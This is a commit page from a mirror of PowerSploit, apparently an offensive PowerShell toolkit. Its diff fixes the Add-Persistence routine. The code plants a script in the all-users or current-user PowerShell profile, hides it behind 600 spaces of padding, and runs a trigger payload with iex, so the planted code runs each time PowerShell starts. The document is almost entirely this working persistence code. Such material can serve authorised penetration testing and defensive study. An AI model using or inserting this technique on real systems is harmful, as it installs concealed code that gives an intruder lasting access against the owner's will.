mirror of
https://github.com/PowerShellMafia/PowerSploit
synced 2026-06-08 12:13:33 +00:00
Fixed Add-Persistence. Issue #98
This commit is contained in:
@@ -660,7 +660,8 @@ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::G
|
||||
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
|
||||
else
|
||||
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
|
||||
' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo
|
||||
mkdir (Split-Path -Parent $Prof)
|
||||
(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo
|
||||
iex $Payload|Out-Null
|
||||
Write-Output $Payload}
|
||||
else
|
||||
|
||||
Reference in New Issue
Block a user